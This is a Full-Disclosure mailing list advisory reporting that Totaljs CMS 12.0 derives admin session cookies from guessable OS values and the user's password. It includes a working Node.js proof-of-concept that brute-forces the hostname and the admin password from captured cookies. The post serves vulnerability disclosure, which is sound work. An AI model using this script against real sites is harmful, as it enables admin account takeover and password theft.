lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 30 Aug 2019 19:46:24 +0200
From: paw <riccardo.krauter@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Totaljs CMS Insecure Admin Session cookie

[+] Author/Discoverer: Riccardo Krauter @CertimeterGroup

[+] Title: Totaljs CMS Insecure Admin Session cookie

[+] Affected software: Totaljs CMS 12.0

[+] Description:

A low privilege user can easily crack the owned cookie to obtain the 
“random” values inside it. If this user can leak a session cookie owned 
by another admin, then it’s possible to brute force it with O(n)=2n 
instead of O(n)=n^x complexity and steal the admin password. In such way 
he break the admin password.

[+] Step to reproduce:

In the file schemas/settings.js
we have that the value for the session cookie is equivalent as:

var key = (user.login + ':' + user.password + ':' + F.config.secret + 
string_hash(user.login + ':' + user.password).hash()).md5();

where
Os = require(“os”);
F.config.secret = (Os.hostname()'-' + Os.platform() + '-' + Os.arch() + 
'-' + Os.release() + '-' + Os.tmpdir());

and string_hash() is a custom function.

All of this Os variables are easily guessable or brute-forceable.
An attacker can enumerate the machine server with nmap scan to evaluate 
the architecture behind (linux, windows...) in this way he escape the 
randomness for Os.platform() parameter.
The Os.arch() parameter can be ‘x32’ or ‘x64’, then not so much random 
in it.
The Os.release() can be easily listed because are common and public 
(e.g. 4.15.0-45-generic), also it will be influenced from the recon of 
the Os.platform() in such way if the attacker enumerated a linux machine 
he can use a list of all linux version.
The Os.tmpdir() param is totally guessable. For example in linux systems 
is /tmp by default.
The Os.hostname() is probably the more random parameter here but a 
dictionary based attack can be efficacious to retrieve it.

[+] POC Script:

// cookie_brute.js

var Os = require('os');

var crypto = require('crypto');

var lineByLine = require('n-readlines');

function string_hash(s, convert) {

var hash = 0;

if (s.length === 0)

return convert ? '' : hash;

for (var i = 0, l = s.length; i < l; i++) {

var char = s.charCodeAt(i);

hash = ((hash << 5) - hash) + char;

hash |= 0;

}

//console.log(hash);

return hash;

}


`

schemas/settings.js: var key = (user.login + ':' + user.password + ':' + 
F.config.secret + (user.login + ':' + user.password).hash()).md5();

`

//brute forcing the hostname

var liner2 = new lineByLine('/usr/share/wordlists/darkc0de.txt');

var hostname;

owned_passwd = "paw";

var name = "paw";

user_cookie = "b5268788942f8c6057ce83aa98cef85e";

while (hostname = liner2.next()) {

var secret = (hostname + '-' + Os.platform() + '-' + Os.arch() + '-' + 
Os.release() + '-' + Os.tmpdir());

secret = crypto.createHash('md5').update(secret).digest("hex");

var h = (name + ':' + owned_passwd + ':' + secret + string_hash(name + 
':' + owned_passwd));

h = crypto.createHash('md5').update(h).digest("hex");

if(user_cookie === h){

console.log('[+] Match found with user:password:hostname: ', name + ":" 
+ owned_passwd + ":" + hostname);

break;

}

}

//bruteforcing the password

admin_cookie = "d3316f9bd135906890fbc36d858304a5";

var liner = new lineByLine('/usr/share/wordlists/darkc0de.txt');

var name = "admin";

var secret = (hostname + '-' + Os.platform() + '-' + Os.arch() + '-' + 
Os.release() + '-' + Os.tmpdir());

secret = crypto.createHash('md5').update(secret).digest("hex");

while (password = liner.next()) {

var h = (name + ':' + password + ':' + secret + string_hash(name + ':' + 
password));

h = crypto.createHash('md5').update(h).digest("hex");

if( admin_cookie === h){

console.log('[+] Match found with user:password:hostname: ', name + ":" 
+ password + ":" + hostname);

return;

}

}

[+] Project link: https://github.com/totaljs/cms

[+] Original report and details: 
https://github.com/beerpwn/CVE/blob/master/Totaljs_disclosure_report/report_final.pdf

[+] Timeline:

- 13/02/2019 -> reported the issue to the vendor

.... many ping here

- 18/06/2019 -> pinged the vendor last time

- 30/08/2019 -> reported to seclist


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists